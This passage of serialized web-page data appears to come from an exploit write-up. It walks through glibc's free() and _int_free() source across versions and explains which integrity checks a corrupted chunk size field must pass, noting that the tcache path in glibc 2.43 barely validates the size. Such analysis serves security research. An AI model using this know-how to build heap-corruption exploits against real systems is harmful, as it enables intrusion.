ar_ptr;\n",{"type":24,"tag":930,"props":128942,"children":128943},{"class":932,"line":1057},[128944],{"type":24,"tag":930,"props":128945,"children":128946},{"style":959},[128947],{"type":30,"value":128948},"  mchunkptr p;\n",{"type":24,"tag":930,"props":128950,"children":128951},{"class":932,"line":1066},[128952],{"type":24,"tag":930,"props":128953,"children":128954},{"emptyLinePlaceholder":16},[128955],{"type":30,"value":2412},{"type":24,"tag":930,"props":128957,"children":128958},{"class":932,"line":1075},[128959,128964,128968,128973],{"type":24,"tag":930,"props":128960,"children":128961},{"style":959},[128962],{"type":30,"value":128963},"  p ",{"type":24,"tag":930,"props":128965,"children":128966},{"style":1158},[128967],{"type":30,"value":1161},{"type":24,"tag":930,"props":128969,"children":128970},{"style":1002},[128971],{"type":30,"value":128972}," mem2chunk",{"type":24,"tag":930,"props":128974,"children":128975},{"style":959},[128976],{"type":30,"value":128977}," (mem);\n",{"type":24,"tag":930,"props":128979,"children":128980},{"class":932,"line":1122},[128981,128985,128989,128994],{"type":24,"tag":930,"props":128982,"children":128983},{"style":1079},[128984],{"type":30,"value":34486},{"type":24,"tag":930,"props":128986,"children":128987},{"style":959},[128988],{"type":30,"value":1087},{"type":24,"tag":930,"props":128990,"children":128991},{"style":1002},[128992],{"type":30,"value":128993},"chunk_is_mmapped",{"type":24,"tag":930,"props":128995,"children":128996},{"style":959},[128997],{"type":30,"value":128998}," (p))\n",{"type":24,"tag":930,"props":129000,"children":129001},{"class":932,"line":1131},[129002],{"type":24,"tag":930,"props":129003,"children":129004},{"style":959},[129005],{"type":30,"value":1128},{"type":24,"tag":930,"props":129007,"children":129008},{"class":932,"line":1144},[129009,129014],{"type":24,"tag":930,"props":129010,"children":129011},{"style":1002},[129012],{"type":30,"value":129013},"      munmap_chunk",{"type":24,"tag":930,"props":129015,"children":129016},{"style":959},[129017],{"type":30,"value":129018}," (p);\n",{"type":24,"tag":930,"props":129020,"children":129021},{"class":932,"line":1169},[129022],{"type":24,"tag":930,"props":129023,"children":129024},{"style":959},[129025],{"type":30,"value":1840},{"type":24,"tag":930,"props":129027,"children":129028},{"class":932,"line":1191},[129029],{"type":24,"tag":930,"props":129030,"children":129031},{"style":1079},[129032],{"type":30,"value":129033},"  else\n",{"type":24,"tag":930,"props":129035,"children":129036},{"class":932,"line":1223},[129037],{"type":24,"tag":930,"props":129038,"children":129039},{"style":959},[129040],{"type":30,"value":1128},{"type":24,"tag":930,"props":129042,"children":129043},{"class":932,"line":1281},[129044,129049],{"type":24,"tag":930,"props":129045,"children":129046},{"style":1002},[129047],{"type":30,"value":129048},"      MAYBE_INIT_TCACHE",{"type":24,"tag":930,"props":129050,"children":129051},{"style":959},[129052],{"type":30,"value":129053}," ();\n",{"type":24,"tag":930,"props":129055,"children":129056},{"class":932,"line":1313},[129057],{"type":24,"tag":930,"props":129058,"children":129059},{"emptyLinePlaceholder":16},[129060],{"type":30,"value":2412},{"type":24,"tag":930,"props":129062,"children":129063},{"class":932,"line":1335},[129064,129069,129073,129078],{"type":24,"tag":930,"props":129065,"children":129066},{"style":959},[129067],{"type":30,"value":129068},"      ar_ptr ",{"type":24,"tag":930,"props":129070,"children":129071},{"style":1158},[129072],{"type":30,"value":1161},{"type":24,"tag":930,"props":129074,"children":129075},{"style":1002},[129076],{"type":30,"value":129077}," arena_for_chunk",{"type":24,"tag":930,"props":129079,"children":129080},{"style":959},[129081],{"type":30,"value":129018},{"type":24,"tag":930,"props":129083,"children":129084},{"class":932,"line":1376},[129085,129090,129095,129099],{"type":24,"tag":930,"props":129086,"children":129087},{"style":1002},[129088],{"type":30,"value":129089},"      _int_free",{"type":24,"tag":930,"props":129091,"children":129092},{"style":959},[129093],{"type":30,"value":129094}," (ar_ptr, p, ",{"type":24,"tag":930,"props":129096,"children":129097},{"style":1242},[129098],{"type":30,"value":1818},{"type":24,"tag":930,"props":129100,"children":129101},{"style":959},[129102],{"type":30,"value":1278},{"type":24,"tag":930,"props":129104,"children":129105},{"class":932,"line":1418},[129106],{"type":24,"tag":930,"props":129107,"children":129108},{"style":959},[129109],{"type":30,"value":1840},{"type":24,"tag":930,"props":129111,"children":129112},{"class":932,"line":1438},[129113],{"type":24,"tag":930,"props":129114,"children":129115},{"style":959},[129116],{"type":30,"value":2528},{"type":24,"tag":33,"props":129118,"children":129119},{},[129120,129122,129127,129129,129134,129136,129142,129144,129150,129152,129157,129159,129164,129166,129171,129173,129178],{"type":30,"value":129121},"We can see that if the ",{"type":24,"tag":156,"props":129123,"children":129125},{"className":129124},[],[129126],{"type":30,"value":128857},{"type":30,"value":129128}," bit is set in the corrupted ",{"type":24,"tag":156,"props":129130,"children":129132},{"className":129131},[],[129133],{"type":30,"value":126688},{"type":30,"value":129135}," field, glibc will call ",{"type":24,"tag":156,"props":129137,"children":129139},{"className":129138},[],[129140],{"type":30,"value":129141},"munmap_chunk",{"type":30,"value":129143},", which internally checks that ",{"type":24,"tag":156,"props":129145,"children":129147},{"className":129146},[],[129148],{"type":30,"value":129149},"prev_size + size",{"type":30,"value":129151}," is page-aligned. To reach the ",{"type":24,"tag":156,"props":129153,"children":129155},{"className":129154},[],[129156],{"type":30,"value":126688},{"type":30,"value":129158}," field, we first have to overwrite the entire 8-byte ",{"type":24,"tag":156,"props":129160,"children":129162},{"className":129161},[],[129163],{"type":30,"value":128807},{"type":30,"value":129165}," field with uncontrolled data. The chance that a corrupted ",{"type":24,"tag":156,"props":129167,"children":129169},{"className":129168},[],[129170],{"type":30,"value":129149},{"type":30,"value":129172}," value still ends up page-aligned is extremely small. In practice, if ",{"type":24,"tag":156,"props":129174,"children":129176},{"className":129175},[],[129177],{"type":30,"value":128857},{"type":30,"value":129179}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":24,"tag":33,"props":129181,"children":129182},{},[129183,129185,129190,129192,129198],{"type":30,"value":129184},"Assuming ",{"type":24,"tag":156,"props":129186,"children":129188},{"className":129187},[],[129189],{"type":30,"value":128857},{"type":30,"value":129191}," is not set, execution continues into ",{"type":24,"tag":156,"props":129193,"children":129195},{"className":129194},[],[129196],{"type":30,"value":129197},"_int_free",{"type":30,"value":476},{"type":24,"tag":920,"props":129200,"children":129202},{"code":129201,"language":6268,"meta":7,"className":19616,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[129203],{"type":24,"tag":156,"props":129204,"children":129205},{"__ignoreMap":7},[129206,129218,129261,129268,129276,129283,129304,129311,129319,129327,129335,129343,129407,129442,129463,129471,129479,129527,129547,129554,129567,129574],{"type":24,"tag":930,"props":129207,"children":129208},{"class":932,"line":933},[129209,129213],{"type":24,"tag":930,"props":129210,"children":129211},{"style":937},[129212],{"type":30,"value":54133},{"type":24,"tag":930,"props":129214,"children":129215},{"style":937},[129216],{"type":30,"value":129217}," void\n",{"type":24,"tag":930,"props":129219,"children":129220},{"class":932,"line":984},[129221,129225,129230,129235,129240,129244,129248,129252,129257],{"type":24,"tag":930,"props":129222,"children":129223},{"style":1002},[129224],{"type":30,"value":129197},{"type":24,"tag":930,"props":129226,"children":129227},{"style":959},[129228],{"type":30,"value":129229}," (mstate ",{"type":24,"tag":930,"props":129231,"children":129232},{"style":1023},[129233],{"type":30,"value":129234},"av",{"type":24,"tag":930,"props":129236,"children":129237},{"style":959},[129238],{"type":30,"value":129239},", mchunkptr ",{"type":24,"tag":930,"props":129241,"children":129242},{"style":1023},[129243],{"type":30,"value":33},{"type":24,"tag":930,"props":129245,"children":129246},{"style":959},[129247],{"type":30,"value":962},{"type":24,"tag":930,"props":129249,"children":129250},{"style":937},[129251],{"type":30,"value":22149},{"type":24,"tag":930,"props":129253,"children":129254},{"style":1023},[129255],{"type":30,"value":129256}," have_lock",{"type":24,"tag":930,"props":129258,"children":129259},{"style":959},[129260],{"type":30,"value":1054},{"type":24,"tag":930,"props":129262,"children":129263},{"class":932,"line":993},[129264],{"type":24,"tag":930,"props":129265,"children":129266},{"style":959},[129267],{"type":30,"value":13987},{"type":24,"tag":930,"props":129269,"children":129270},{"class":932,"line":1057},[129271],{"type":24,"tag":930,"props":129272,"children":129273},{"style":959},[129274],{"type":30,"value":129275},"  INTERNAL_SIZE_T size;\n",{"type":24,"tag":930,"props":129277,"children":129278},{"class":932,"line":1066},[129279],{"type":24,"tag":930,"props":129280,"children":129281},{"emptyLinePlaceholder":16},[129282],{"type":30,"value":2412},{"type":24,"tag":930,"props":129284,"children":129285},{"class":932,"line":1075},[129286,129291,129295,129300],{"type":24,"tag":930,"props":129287,"children":129288},{"style":959},[129289],{"type":30,"value":129290},"  size ",{"type":24,"tag":930,"props":129292,"children":129293},{"style":1158},[129294],{"type":30,"value":1161},{"type":24,"tag":930,"props":129296,"children":129297},{"style":1002},[129298],{"type":30,"value":129299}," chunksize",{"type":24,"tag":930,"props":129301,"children":129302},{"style":959},[129303],{"type":30,"value":129018},{"type":24,"tag":930,"props":129305,"children":129306},{"class":932,"line":1122},[129307],{"type":24,"tag":930,"props":129308,"children":129309},{"emptyLinePlaceholder":16},[129310],{"type":30,"value":2412},{"type":24,"tag":930,"props":129312,"children":129313},{"class":932,"line":1131},[129314],{"type":24,"tag":930,"props":129315,"children":129316},{"style":1422},[129317],{"type":30,"value":129318},"  /* Little security check which won't hurt performance: the\n",{"type":24,"tag":930,"props":129320,"children":129321},{"class":932,"line":1144},[129322],{"type":24,"tag":930,"props":129323,"children":129324},{"style":1422},[129325],{"type":30,"value":129326},"     allocator never wraps around at the end of the address space.\n",{"type":24,"tag":930,"props":129328,"children":129329},{"class":932,"line":1169},[129330],{"type":24,"tag":930,"props":129331,"children":129332},{"style":1422},[129333],{"type":30,"value":129334},"     Therefore we can exclude some size values which might appear\n",{"type":24,"tag":930,"props":129336,"children":129337},{"class":932,"line":1191},[129338],{"type":24,"tag":930,"props":129339,"children":129340},{"style":1422},[129341],{"type":30,"value":129342},"     here by accident or by \"design\" from some intruder.  */\n",{"type":24,"tag":930,"props":129344,"children":129345},{"class":932,"line":1223},[129346,129350,129354,129359,129364,129369,129374,129378,129382,129386,129390,129394,129399,129403],{"type":24,"tag":930,"props":129347,"children":129348},{"style":1079},[129349],{"type":30,"value":34486},{"type":24,"tag":930,"props":129351,"children":129352},{"style":959},[129353],{"type":30,"value":1087},{"type":24,"tag":930,"props":129355,"children":129356},{"style":1002},[129357],{"type":30,"value":129358},"__builtin_expect",{"type":24,"tag":930,"props":129360,"children":129361},{"style":959},[129362],{"type":30,"value":129363}," ((",{"type":24,"tag":930,"props":129365,"children":129366},{"style":937},[129367],{"type":30,"value":129368},"uintptr_t",{"type":24,"tag":930,"props":129370,"children":129371},{"style":959},[129372],{"type":30,"value":129373},") p ",{"type":24,"tag":930,"props":129375,"children":129376},{"style":1158},[129377],{"type":30,"value":2261},{"type":24,"tag":930,"props":129379,"children":129380},{"style":959},[129381],{"type":30,"value":1087},{"type":24,"tag":930,"props":129383,"children":129384},{"style":937},[129385],{"type":30,"value":129368},{"type":24,"tag":930,"props":129387,"children":129388},{"style":959},[129389],{"type":30,"value":5579},{"type":24,"tag":930,"props":129391,"children":129392},{"style":1158},[129393],{"type":30,"value":1215},{"type":24,"tag":930,"props":129395,"children":129396},{"style":959},[129397],{"type":30,"value":129398},"size, ",{"type":24,"tag":930,"props":129400,"children":129401},{"style":1242},[129402],{"type":30,"value":1818},{"type":24,"tag":930,"props":129404,"children":129405},{"style":959},[129406],{"type":30,"value":1054},{"type":24,"tag":930,"props":129408,"children":129409},{"class":932,"line":1281},[129410,129415,129420,129424,129429,129434,129438],{"type":24,"tag":930,"props":129411,"children":129412},{"style":1158},[129413],{"type":30,"value":129414},"      ||",{"type":24,"tag":930,"props":129416,"children":129417},{"style":1002},[129418],{"type":30,"value":129419}," __builtin_expect",{"type":24,"tag":930,"props":129421,"children":129422},{"style":959},[129423],{"type":30,"value":1087},{"type":24,"tag":930,"props":129425,"children":129426},{"style":1002},[129427],{"type":30,"value":129428},"misaligned_chunk",{"type":24,"tag":930,"props":129430,"children":129431},{"style":959},[129432],{"type":30,"value":129433}," (p), ",{"type":24,"tag":930,"props":129435,"children":129436},{"style":1242},[129437],{"type":30,"value":1818},{"type":24,"tag":930,"props":129439,"children":129440},{"style":959},[129441],{"type":30,"value":22815},{"type":24,"tag":930,"props":129443,"children":129444},{"class":932,"line":1313},[129445,129450,129454,129459],{"type":24,"tag":930,"props":129446,"children":129447},{"style":1002},[129448],{"type":30,"value":129449},"    malloc_printerr",{"type":24,"tag":930,"props":129451,"children":129452},{"style":959},[129453],{"type":30,"value":1087},{"type":24,"tag":930,"props":129455,"children":129456},{"style":1270},[129457],{"type":30,"value":129458},"\"free(): invalid pointer\"",{"type":24,"tag":930,"props":129460,"children":129461},{"style":959},[129462],{"type":30,"value":1278},{"type":24,"tag":930,"props":129464,"children":129465},{"class":932,"line":1335},[129466],{"type":24,"tag":930,"props":129467,"children":129468},{"style":1422},[129469],{"type":30,"value":129470},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":24,"tag":930,"props":129472,"children":129473},{"class":932,"line":1376},[129474],{"type":24,"tag":930,"props":129475,"children":129476},{"style":1422},[129477],{"type":30,"value":129478},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":24,"tag":930,"props":129480,"children":129481},{"class":932,"line":1418},[129482,129486,129490,129495,129500,129504,129509,129513,129517,129522],{"type":24,"tag":930,"props":129483,"children":129484},{"style":1079},[129485],{"type":30,"value":34486},{"type":24,"tag":930,"props":129487,"children":129488},{"style":959},[129489],{"type":30,"value":1087},{"type":24,"tag":930,"props":129491,"children":129492},{"style":1002},[129493],{"type":30,"value":129494},"__glibc_unlikely",{"type":24,"tag":930,"props":129496,"children":129497},{"style":959},[129498],{"type":30,"value":129499}," (size ",{"type":24,"tag":930,"props":129501,"children":129502},{"style":1158},[129503],{"type":30,"value":1350},{"type":24,"tag":930,"props":129505,"children":129506},{"style":959},[129507],{"type":30,"value":129508}," MINSIZE ",{"type":24,"tag":930,"props":129510,"children":129511},{"style":1158},[129512],{"type":30,"value":25520},{"type":24,"tag":930,"props":129514,"children":129515},{"style":1158},[129516],{"type":30,"value":15971},{"type":24,"tag":930,"props":129518,"children":129519},{"style":1002},[129520],{"type":30,"value":129521},"aligned_OK",{"type":24,"tag":930,"props":129523,"children":129524},{"style":959},[129525],{"type":30,"value":129526}," (size)))\n",{"type":24,"tag":930,"props":129528,"children":129529},{"class":932,"line":1438},[129530,129534,129538,129543],{"type":24,"tag":930,"props":129531,"children":129532},{"style":1002},[129533],{"type":30,"value":129449},{"type":24,"tag":930,"props":129535,"children":129536},{"style":959},[129537],{"type":30,"value":1087},{"type":24,"tag":930,"props":129539,"children":129540},{"style":1270},[129541],{"type":30,"value":129542},"\"free(): invalid size\"",{"type":24,"tag":930,"props":129544,"children":129545},{"style":959},[129546],{"type":30,"value":1278},{"type":24,"tag":930,"props":129548,"children":129549},{"class":932,"line":1479},[129550],{"type":24,"tag":930,"props":129551,"children":129552},{"emptyLinePlaceholder":16},[129553],{"type":30,"value":2412},{"type":24,"tag":930,"props":129555,"children":129556},{"class":932,"line":1506},[129557,129562],{"type":24,"tag":930,"props":129558,"children":129559},{"style":1002},[129560],{"type":30,"value":129561},"  check_inuse_chunk",{"type":24,"tag":930,"props":129563,"children":129564},{"style":959},[129565],{"type":30,"value":129566},"(av, p);\n",{"type":24,"tag":930,"props":129568,"children":129569},{"class":932,"line":1525},[129570],{"type":24,"tag":930,"props":129571,"children":129572},{"emptyLinePlaceholder":16},[129573],{"type":30,"value":2412},{"type":24,"tag":930,"props":129575,"children":129576},{"class":932,"line":1569},[129577],{"type":24,"tag":930,"props":129578,"children":129579},{"style":959},[129580],{"type":30,"value":129581},"  [...]\n",{"type":24,"tag":33,"props":129583,"children":129584},{},[129585],{"type":30,"value":129586},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":24,"tag":33,"props":129588,"children":129589},{},[129590,129592,129597,129599,129604,129606,129611,129613,129618],{"type":30,"value":129591},"The next check, however, ensures that the ",{"type":24,"tag":156,"props":129593,"children":129595},{"className":129594},[],[129596],{"type":30,"value":126688},{"type":30,"value":129598}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":24,"tag":156,"props":129600,"children":129602},{"className":129601},[],[129603],{"type":30,"value":126688},{"type":30,"value":129605}," must preserve alignment while also avoiding the ",{"type":24,"tag":156,"props":129607,"children":129609},{"className":129608},[],[129610],{"type":30,"value":128857},{"type":30,"value":129612}," bit. Under those constraints, exploiting the bug through ",{"type":24,"tag":156,"props":129614,"children":129616},{"className":129615},[],[129617],{"type":30,"value":126688},{"type":30,"value":129619}," corruption looked very unreliable at first.",{"type":24,"tag":33,"props":129621,"children":129622},{},[129623],{"type":30,"value":129624},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":24,"tag":920,"props":129626,"children":129628},{"code":129627,"language":6268,"meta":7,"className":19616,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[129629],{"type":24,"tag":156,"props":129630,"children":129631},{"__ignoreMap":7},[129632,129640,129667,129674,129681,129688,129707,129714,129734,129741,129769,129793,129800,129813,129855,129862,129870,129877,129894],{"type":24,"tag":930,"props":129633,"children":129634},{"class":932,"line":933},[129635],{"type":24,"tag":930,"props":129636,"children":129637},{"style":937},[129638],{"type":30,"value":129639},"void\n",{"type":24,"tag":930,"props":129641,"children":129642},{"class":932,"line":984},[129643,129647,129651,129655,129659,129663],{"type":24,"tag":930,"props":129644,"children":129645},{"style":1002},[129646],{"type":30,"value":128905},{"type":24,"tag":930,"props":129648,"children":129649},{"style":959},[129650],{"type":30,"value":1087},{"type":24,"tag":930,"props":129652,"children":129653},{"style":937},[129654],{"type":30,"value":54716},{"type":24,"tag":930,"props":129656,"children":129657},{"style":1158},[129658],{"type":30,"value":12924},{"type":24,"tag":930,"props":129660,"children":129661},{"style":1023},[129662],{"type":30,"value":43752},{"type":24,"tag":930,"props":129664,"children":129665},{"style":959},[129666],{"type":30,"value":1054},{"type":24,"tag":930,"props":129668,"children":129669},{"class":932,"line":993},[129670],{"type":24,"tag":930,"props":129671,"children":129672},{"style":959},[129673],{"type":30,"value":13987},{"type":24,"tag":930,"props":129675,"children":129676},{"class":932,"line":1057},[129677],{"type":24,"tag":930,"props":129678,"children":129679},{"style":959},[129680],{"type":30,"value":128948},{"type":24,"tag":930,"props":129682,"children":129683},{"class":932,"line":1066},[129684],{"type":24,"tag":930,"props":129685,"children":129686},{"emptyLinePlaceholder":16},[129687],{"type":30,"value":2412},{"type":24,"tag":930,"props":129689,"children":129690},{"class":932,"line":1075},[129691,129695,129699,129703],{"type":24,"tag":930,"props":129692,"children":129693},{"style":959},[129694],{"type":30,"value":128963},{"type":24,"tag":930,"props":129696,"children":129697},{"style":1158},[129698],{"type":30,"value":1161},{"type":24,"tag":930,"props":129700,"children":129701},{"style":1002},[129702],{"type":30,"value":128972},{"type":24,"tag":930,"props":129704,"children":129705},{"style":959},[129706],{"type":30,"value":128977},{"type":24,"tag":930,"props":129708,"children":129709},{"class":932,"line":1122},[129710],{"type":24,"tag":930,"props":129711,"children":129712},{"emptyLinePlaceholder":16},[129713],{"type":30,"value":2412},{"type":24,"tag":930,"props":129715,"children":129716},{"class":932,"line":1131},[129717,129722,129726,129730],{"type":24,"tag":930,"props":129718,"children":129719},{"style":959},[129720],{"type":30,"value":129721},"  INTERNAL_SIZE_T size ",{"type":24,"tag":930,"props":129723,"children":129724},{"style":1158},[129725],{"type":30,"value":1161},{"type":24,"tag":930,"props":129727,"children":129728},{"style":1002},[129729],{"type":30,"value":129299},{"type":24,"tag":930,"props":129731,"children":129732},{"style":959},[129733],{"type":30,"value":129018},{"type":24,"tag":930,"props":129735,"children":129736},{"class":932,"line":1144},[129737],{"type":24,"tag":930,"props":129738,"children":129739},{"emptyLinePlaceholder":16},[129740],{"type":30,"value":2412},{"type":24,"tag":930,"props":129742,"children":129743},{"class":932,"line":1169},[129744,129748,129752,129756,129760,129764],{"type":24,"tag":930,"props":129745,"children":129746},{"style":1079},[129747],{"type":30,"value":34486},{"type":24,"tag":930,"props":129749,"children":129750},{"style":959},[129751],{"type":30,"value":1087},{"type":24,"tag":930,"props":129753,"children":129754},{"style":1002},[129755],{"type":30,"value":129494},{"type":24,"tag":930,"props":129757,"children":129758},{"style":959},[129759],{"type":30,"value":1087},{"type":24,"tag":930,"props":129761,"children":129762},{"style":1002},[129763],{"type":30,"value":129428},{"type":24,"tag":930,"props":129765,"children":129766},{"style":959},[129767],{"type":30,"value":129768}," (p)))\n",{"type":24,"tag":930,"props":129770,"children":129771},{"class":932,"line":1191},[129772,129776,129781,129785,129789],{"type":24,"tag":930,"props":129773,"children":129774},{"style":1079},[129775],{"type":30,"value":20090},{"type":24,"tag":930,"props":129777,"children":129778},{"style":1002},[129779],{"type":30,"value":129780}," malloc_printerr_tail",{"type":24,"tag":930,"props":129782,"children":129783},{"style":959},[129784],{"type":30,"value":1087},{"type":24,"tag":930,"props":129786,"children":129787},{"style":1270},[129788],{"type":30,"value":129458},{"type":24,"tag":930,"props":129790,"children":129791},{"style":959},[129792],{"type":30,"value":1278},{"type":24,"tag":930,"props":129794,"children":129795},{"class":932,"line":1223},[129796],{"type":24,"tag":930,"props":129797,"children":129798},{"emptyLinePlaceholder":16},[129799],{"type":30,"value":2412},{"type":24,"tag":930,"props":129801,"children":129802},{"class":932,"line":1281},[129803,129808],{"type":24,"tag":930,"props":129804,"children":129805},{"style":1079},[129806],{"type":30,"value":129807},"#if",{"type":24,"tag":930,"props":129809,"children":129810},{"style":1002},[129811],{"type":30,"value":129812}," USE_TCACHE\n",{"type":24,"tag":930,"props":129814,"children":129815},{"class":932,"line":1313},[129816,129820,129824,129829,129833,129837,129842,129846,129851],{"type":24,"tag":930,"props":129817,"children":129818},{"style":1079},[129819],{"type":30,"value":34486},{"type":24,"tag":930,"props":129821,"children":129822},{"style":959},[129823],{"type":30,"value":1087},{"type":24,"tag":930,"props":129825,"children":129826},{"style":1002},[129827],{"type":30,"value":129828},"__glibc_likely",{"type":24,"tag":930,"props":129830,"children":129831},{"style":959},[129832],{"type":30,"value":129499},{"type":24,"tag":930,"props":129834,"children":129835},{"style":1158},[129836],{"type":30,"value":1350},{"type":24,"tag":930,"props":129838,"children":129839},{"style":1023},[129840],{"type":30,"value":129841}," mp_",{"type":24,"tag":930,"props":129843,"children":129844},{"style":959},[129845],{"type":30,"value":436},{"type":24,"tag":930,"props":129847,"children":129848},{"style":1023},[129849],{"type":30,"value":129850},"tcache_max_bytes",{"type":24,"tag":930,"props":129852,"children":129853},{"style":959},[129854],{"type":30,"value":22815},{"type":24,"tag":930,"props":129856,"children":129857},{"class":932,"line":1335},[129858],{"type":24,"tag":930,"props":129859,"children":129860},{"style":959},[129861],{"type":30,"value":1128},{"type":24,"tag":930,"props":129863,"children":129864},{"class":932,"line":1376},[129865],{"type":24,"tag":930,"props":129866,"children":129867},{"style":959},[129868],{"type":30,"value":129869},"      [...]\n",{"type":24,"tag":930,"props":129871,"children":129872},{"class":932,"line":1418},[129873],{"type":24,"tag":930,"props":129874,"children":129875},{"emptyLinePlaceholder":16},[129876],{"type":30,"value":2412},{"type":24,"tag":930,"props":129878,"children":129879},{"class":932,"line":1438},[129880,129884,129889],{"type":24,"tag":930,"props":129881,"children":129882},{"style":1079},[129883],{"type":30,"value":42444},{"type":24,"tag":930,"props":129885,"children":129886},{"style":1002},[129887],{"type":30,"value":129888}," tcache_put",{"type":24,"tag":930,"props":129890,"children":129891},{"style":959},[129892],{"type":30,"value":129893}," (p, tc_idx);\n",{"type":24,"tag":930,"props":129895,"children":129896},{"class":932,"line":1479},[129897],{"type":24,"tag":930,"props":129898,"children":129899},{"style":959},[129900],{"type":30,"value":1840},{"type":24,"tag":33,"props":129902,"children":129903},{},[129904,129906,129911],{"type":30,"value":129905},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":24,"tag":156,"props":129907,"children":129909},{"className":129908},[],[129910],{"type":30,"value":126688},{"type":30,"value":129912}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":24,"tag":33,"props":129914,"children":129915},{},[129916,129918,129924,129925,129930],{"type":30,"value":129917},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":24,"tag":156,"props":129919,"children":129921},{"className":129920},[],[129922],{"type":30,"value":129923},"check_inuse_chunk",{"type":30,"value":1087},{"type":24,"tag":156,"props":129926,"children":129928},{"className":129927},[],[129929],{"type":30,"value":126816},{"type":30,"value":27037},{"type":24,"tag":920,"props":129932,"children":129934},{"code":129933,"language":6268,"meta":7,"className":19616,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[129935],{"type":24,"tag":156,"props":129936,"children":129937},{"__ignoreMap":7},[129938,129945,129972,129979,129986,129993,130012,130019,130038,130045,130072,130095,130102,130128,130135,130146,130203],{"type":24,"tag":930,"props":129939,"children":129940},{"class":932,"line":933},[129941],{"type":24,"tag":930,"props":129942,"children":129943},{"style":937},[129944],{"type":30,"value":129639},{"type":24,"tag":930,"props":129946,"children":129947},{"class":932,"line":984},[129948,129952,129956,129960,129964,129968],{"type":24,"tag":930,"props":129949,"children":129950},{"style":1002},[129951],{"type":30,"value":128905},{"type":24,"tag":930,"props":129953,"children":129954},{"style":959},[129955],{"type":30,"value":1087},{"type":24,"tag":930,"props":129957,"children":129958},{"style":937},[129959],{"type":30,"value":54716},{"type":24,"tag":930,"props":129961,"children":129962},{"style":1158},[129963],{"type":30,"value":12924},{"type":24,"tag":930,"props":129965,"children":129966},{"style":1023},[129967],{"type":30,"value":43752},{"type":24,"tag":930,"props":129969,"children":129970},{"style":959},[129971],{"type":30,"value":1054},{"type":24,"tag":930,"props":129973,"children":129974},{"class":932,"line":993},[129975],{"type":24,"tag":930,"props":129976,"children":129977},{"style":959},[129978],{"type":30,"value":13987},{"type":24,"tag":930,"props":129980,"children":129981},{"class":932,"line":1057},[129982],{"type":24,"tag":930,"props":129983,"children":129984},{"style":959},[129985],{"type":30,"value":128948},{"type":24,"tag":930,"props":129987,"children":129988},{"class":932,"line":1066},[129989],{"type":24,"tag":930,"props":129990,"children":129991},{"emptyLinePlaceholder":16},[129992],{"type":30,"value":2412},{"type":24,"tag":930,"props":129994,"children":129995},{"class":932,"line":1075},[129996,130000,130004,130008],{"type":24,"tag":930,"props":129997,"children":129998},{"style":959},[129999],{"type":30,"value":128963},{"type":24,"tag":930,"props":130001,"children":130002},{"style":1158},[130003],{"type":30,"value":1161},{"type":24,"tag":930,"props":130005,"children":130006},{"style":1002},[130007],{"type":30,"value":128972},{"type":24,"tag":930,"props":130009,"children":130010},{"style":959},[130011],{"type":30,"value":128977},{"type":24,"tag":930,"props":130013,"children":130014},{"class":932,"line":1122},[130015],{"type":24,"tag":930,"props":130016,"children":130017},{"emptyLinePlaceholder":16},[130018],{"type":30,"value":2412},{"type":24,"tag":930,"props":130020,"children":130021},{"class":932,"line":1131},[130022,130026,130030,130034],{"type":24,"tag":930,"props":130023,"children":130024},{"style":959},[130025],{"type":30,"value":129721},{"type":24,"tag":930,"props":130027,"children":130028},{"style":1158},[130029],{"type":30,"value":1161},{"type":24,"tag":930,"props":130031,"children":130032},{"style":1002},[130033],{"type":30,"value":129299},{"type":24,"tag":930,"props":130035,"children":130036},{"style":959},[130037],{"type":30,"value":129018},{"type":24,"tag":930,"props":130039,"children":130040},{"class":932,"line":1144},[130041],{"type":24,"tag":930,"props":130042,"children":130043},{"emptyLinePlaceholder":16},[130044],{"type":30,"value":2412},{"type":24,"tag":930,"props":130046,"children":130047},{"class":932,"line":1169},[130048,130052,130056,130060,130064,130068],{"type":24,"tag":930,"props":130049,"children":130050},{"style":1079},[130051],{"type":30,"value":34486},{"type":24,"tag":930,"props":130053,"children":130054},{"style":959},[130055],{"type":30,"value":1087},{"type":24,"tag":930,"props":130057,"children":130058},{"style":1002},[130059],{"type":30,"value":129494},{"type":24,"tag":930,"props":130061,"children":130062},{"style":959},[130063],{"type":30,"value":1087},{"type":24,"tag":930,"props":130065,"children":130066},{"style":1002},[130067],{"type":30,"value":129428},{"type":24,"tag":930,"props":130069,"children":130070},{"style":959},[130071],{"type":30,